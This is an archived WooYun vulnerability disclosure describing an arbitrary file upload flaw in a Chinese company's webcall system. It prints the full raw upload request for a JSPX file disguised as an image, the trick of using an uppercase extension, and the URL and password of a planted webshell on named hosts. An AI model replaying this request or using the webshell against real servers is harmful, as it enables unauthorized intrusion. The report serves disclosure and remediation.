乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-12: 细节已通知厂商并且等待厂商处理中 2015-06-16: 厂商已经确认,细节仅向厂商公开 2015-06-26: 细节向核心白帽子及相关领域专家公开 2015-07-06: 细节向普通白帽子公开 2015-07-16: 细节向实习白帽子公开 2015-07-31: 细节向公众公开
任意文件上传
漏洞地址:
http://mail.gjqh.com.cn:9090/webcall/messageNoteAdd.jsp
问题出在附件上传处,未对上传的文件进行过滤,虽然系统在访问jsp、jspx等木马文件时会跳转到登录页,但可以绕过因为系统的任务类型处没有值,但其又是必填项,所以只能本地构造数据包进行上传
POST http://im.gjzq.cn:9090/webcall/messageNoteAdd.jsp HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: http://im.gjzq.cn:9090/webcall/messageNoteAdd.jspAccept-Language: zh-CNUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Content-Type: multipart/form-data; boundary=---------------------------7df3217470bd0Accept-Encoding: gzip, deflateHost: im.gjzq.cn:9090Content-Length: 2233Connection: Keep-AlivePragma: no-cacheCookie: -----------------------------7df3217470bd0Content-Disposition: form-data; name="save"save-----------------------------7df3217470bd0Content-Disposition: form-data; name="oper"-----------------------------7df3217470bd0Content-Disposition: form-data; name="seatId"-----------------------------7df3217470bd0Content-Disposition: form-data; name="signId"-----------------------------7df3217470bd0Content-Disposition: form-data; name="messageId"-----------------------------7df3217470bd0Content-Disposition: form-data; name="resave"-----------------------------7df3217470bd0Content-Disposition: form-data; name="roleMenu"-----------------------------7df3217470bd0Content-Disposition: form-data; name="isflow"0-----------------------------7df3217470bd0Content-Disposition: form-data; name="servicetypes"-----------------------------7df3217470bd0Content-Disposition: form-data; name="chatTypeMenu"-----------------------------7df3217470bd0Content-Disposition: form-data; name="curuser"-----------------------------7df3217470bd0Content-Disposition: form-data; name="customerId"-----------------------------7df3217470bd0Content-Disposition: form-data; name="customerName"-----------------------------7df3217470bd0Content-Disposition: form-data; name="phone"-----------------------------7df3217470bd0Content-Disposition: form-data; name="email"-----------------------------7df3217470bd0Content-Disposition: form-data; name="title"test-----------------------------7df3217470bd0Content-Disposition: form-data; name="flag"0-----------------------------7df3217470bd0Content-Disposition: form-data; name="countent"-----------------------------7df3217470bd0Content-Disposition: form-data; name="status"2-----------------------------7df3217470bd0Content-Disposition: form-data; name="flowto"-----------------------------7df3217470bd0Content-Disposition: form-data; name="file1"; filename="test.JSPX"Content-Type: image/pjpegwooyun test 2-----------------------------7df3217470bd0Content-Disposition: form-data; name="remark"test-----------------------------7df3217470bd0--
上传后文件存在在根目录下的upload文件夹
http://mail.gjqh.com.cn:9090/upload/test.JSPX
我们利用linux系统的一些特性,后缀使用大写字母再次上传一句话
http://mail.gjqh.com.cn:9090/upload/wooyun.JSPX
密码:023
上传点后缀过滤,加强权限控制
危害等级:高
漏洞Rank:12
确认时间:2015-06-16 11:00
CNVD确认并复现所述情况,已经转由CNCERT通报,由其后续协调管理单位处置.
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